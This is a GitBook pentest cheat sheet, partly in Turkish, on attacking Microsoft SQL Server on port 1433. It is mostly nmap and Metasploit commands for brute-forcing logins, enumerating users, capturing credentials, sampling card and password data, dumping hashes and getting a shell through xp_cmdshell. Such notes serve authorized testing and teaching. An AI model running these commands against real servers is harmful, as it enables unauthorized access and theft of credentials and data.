Tufan Turhan
  • Introduction
  • Red Teaming
    • Initial Access
      • VoipHopper
      • SMB – SCF File Attacks
      • MITM6
      • LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
    • Responder - DNS Injection
    • Privilege Escalation
      • PrintNightmare
      • Juicy Potato ile Windows Yetki Yükseltme
      • Token Impersonation with Incognito
    • Active Directory & Kerberos
      • Kerberos
      • Kerberosting
      • AS-REP Roasting
      • Overpass The Hash/Pass The Key (PTK)
      • DCSync Attack
      • DCShadow Attack
      • GETTGT
      • Golden Tickets
      • Silver Tickets
      • PowerView
      • MS14-025 (GPP Abusing)
      • BloodHound
      • Procdump
    • Lateral Movement
      • RDP MiTM-Hijacking
      • Vlan Hopping
      • Pivoting
    • Network Pentest
      • IPv4 Subnet Cheat Sheet
      • DNS Spoofing
      • DHCP Rogue
    • Shell to Meterpreter
    • Turn Off or Bypass AV
    • Useful CMD or Powershell Command
    • Brute Force
    • Windows Dosya İndirme
    • Windows UAC Bypass
    • Insecure Dosya İzni
  • Pentesting
    • Pentesting FTP - 21
    • Pentesting SMTP - 25,465,587
    • Pentesting SMB - 139 & 445
    • Pentesting Telnet - 23
    • Pentesting DNS - 53
    • Pentesting MSRPC -135
    • Pentesting SNMP - 161,162
    • Pentesting LDAP - 389,636
    • Pentesting MSSQL - 1433
    • Pentesting MYSQL - 3306
    • Pentesting RDP - 3389
    • Pentesing WINRM 5985,5986
  • Web Application
    • 2FA/OTP Bypass
    • Captcha Bypass
    • Cache Poisoning
    • Command Injection (OS)
    • CRLF Injection
    • Cross-site WebSocket hijacking (CSWSH) -
    • Cross-site request forgery (CSRF) -
    • Dangling Markup -
    • Path traversal
    • File Upload
    • Formula Injection (CSV Injection)
    • Login Bypass List
    • OAuth -
    • Open Redirect
    • Race Condition -
    • Registration - Password Reset & Takeover Vulnerabilities
    • SQL Injection
    • SSRF
  • Linux Privilege Escalation
    • PHP Wrapper
    • Simple Http
    • Editing /etc/passwd
    • SUID Binaries
    • Sudo Rights
    • Otomatize Araçlar
    • OSCP Not
  • HTB
  • Reverse Shell w/Msfvenom
  • Upgrading Simple Shells to Fully Interactive TTYs
Powered by GitBook
On this page
  • Brute Force Login w/Msf
  • Connect MSSQL w/Msf
  • Enumeration
  • Find All Users
  • Capturing Login
  • Dumping Database
  • SchemaDump
  • Hashdump
  • Command Exceution
  • Xp_cmdshell
  • Ref:
  1. Pentesting

Pentesting MSSQL - 1433

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>

Brute Force Login w/Msf

use auxiliary/scanner/mssql/mssql_login
set rhosts 10.10.10.10
set user_file /root/Desktop/users.txt
set verbose false
run

Connect MSSQL w/Msf

use auxiliary/admin/mssql/mssql_sql
set rhosts 10.10.10.10
set username tturhan
set password Password1
run

Enumeration

use auxiliary/admin/mssql/mssql_enum
set rhosts 10.10.10.10
set username lowpriv
set password Password1
run

Sömürebileceğimiz alanların listesini verir.

Find All Users

use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 10.10.10.10
set username tturhan
set password Password1
run

Sistemde aktif olan tüm kullanıcıların listesini çıkarır.

Capturing Login

use auxiliary/server/capture/mssql
set srvhost 10.10.10.10
run

Bunu yazıp birinin SQL sunucusuna girmesini beklemeliyiz.

Dumping Database

use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 10.10.10.10
set username tturhan
set password Password1
set sample_size 3
set keywords Name|password|card
run

SchemaDump

use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 10.10.10.10
set username tturhan
set password Password1
run

Hashdump

use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 10.10.10.10
set username tturhan
set password Password1
run

Command Exceution

Xp_cmdshell

use exploit/windows/mssql/mssql_payload
set rhosts 10.10.10.10
set username tturhan
set password Password1
run

msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 

Bu sayede meterpreter de bir shell alabiliriz.

Ref:

PreviousPentesting LDAP - 389,636NextPentesting MYSQL - 3306

Last updated 2 years ago

https://www.hackingarticles.in/mssql-for-pentester-metasploit/
https://www.offensive-security.com/metasploit-unleashed/hunting-mssql/